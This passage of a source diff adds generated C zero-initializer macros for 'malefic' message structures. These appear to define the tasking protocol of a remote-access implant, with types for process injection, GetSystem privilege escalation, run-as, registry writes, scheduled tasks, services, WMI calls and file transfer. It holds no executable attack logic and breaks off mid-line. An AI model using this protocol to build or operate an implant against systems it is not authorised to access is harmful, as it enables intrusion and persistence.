+#define malefic_FileInfo_init_zero {"", 0, 0, 0, 0, ""} +#define malefic_SacrificeProcess_init_zero {0, 0, 0, 0, ""} +#define malefic_LsResponse_init_zero {"", 0, 0, {malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero}} +#define malefic_DriveInfo_init_zero {"", "", 0, 0, ""} +#define malefic_EnumDriversResponse_init_zero {0, {malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero}} +#define malefic_PsResponse_init_zero {0, {malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero}} +#define malefic_ExecRequest_init_zero {"", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, 0, 0, 0} +#define malefic_ExecResponse_init_zero {0, {0, {0}}, {0, {0}}, 0, 0} +#define malefic_BinaryResponse_init_zero {{0, {0}}, {0, {0}}, 0, ""} +#define malefic_Modules_init_zero {0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_Addons_init_zero {0, {malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero}} +#define malefic_Addon_init_zero {"", "", ""} +#define malefic_LoadModule_init_zero {"", {0, {0}}} +#define malefic_LoadAddon_init_zero {"", "", "", {0, {0}}} +#define malefic_ExecuteAddon_init_zero {"", false, malefic_ExecuteBinary_init_zero} +#define malefic_ExecuteBinary_init_zero {"", {0, {0}}, {{NULL}, NULL}, "", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, "", {0, {0}}, 0, 0, 0, false, malefic_SacrificeProcess_init_zero, "", "", 0} +#define malefic_ExecuteBinary_ParamEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_ExecuteCommand_init_zero {"", false, malefic_SacrificeProcess_init_zero} +#define malefic_UploadRequest_init_zero {"", "", 0, {0, {0}}, 0, 0} +#define malefic_DownloadRequest_init_zero {"", "", 0, 0, 0} +#define malefic_DownloadResponse_init_zero {"", 0, 0, {0, {0}}} +#define malefic_CurlRequest_init_zero {"", 0, "", {0, {0}}, {{NULL}, NULL}, ""} +#define malefic_CurlRequest_HeaderEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_ChownRequest_init_zero {"", "", "", 0} +#define malefic_IfconfigResponse_init_zero {0, {malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero, malefic_NetInterface_init_zero}} +#define malefic_RegistryRequest_init_zero {"", false, malefic_Registry_init_zero} +#define malefic_Registry_init_zero {"", "", ""} +#define malefic_RegistryWriteRequest_init_zero {"", "", "", "", {0, {0}}, 0, 0, 0} +#define malefic_TaskScheduleRequest_init_zero {"", false, malefic_TaskSchedule_init_zero} +#define malefic_TaskSchedule_init_zero {"", "", "", 0, "", "", 0, "", ""} +#define malefic_TaskSchedulesResponse_init_zero {0, {malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero, malefic_TaskSchedule_init_zero}} +#define malefic_ServiceRequest_init_zero {"", false, malefic_ServiceConfig_init_zero} +#define malefic_ServiceConfig_init_zero {"", "", "", 0, 0, ""} +#define malefic_ServiceStatus_init_zero {0, 0, 0, 0, 0} +#define malefic_Service_init_zero {false, malefic_ServiceConfig_init_zero, false, malefic_ServiceStatus_init_zero} +#define malefic_ServicesResponse_init_zero {0, {malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero}} +#define malefic_WmiQueryRequest_init_zero {"", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_WmiMethodRequest_init_zero {"", "", "", {{NULL}, NULL}} +#define malefic_WmiMethodRequest_ParamsEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_RunAsRequest_init_zero {"", "", "", "", "", 0, 0, 0} +#define malefic_GetSystem_init_zero {{0, {0}}, 0} +#define malefic_Inject_init_zero {{0, {0}}, 0} +#define malefic_Pipe_init_zero {"", "", {0, {0}}} +#define malefic_PipeRequest_init_zero {"", false, malefic_Pipe_init_zero} +#define malefic_Switch_init_zero {0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_TaskCtrl_init_zero {0, ""} +#define malefic_TaskInfo_init_zero {0, 0, 0, 0} +#define malefic_TaskListResponse_init_zero {0, {malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, 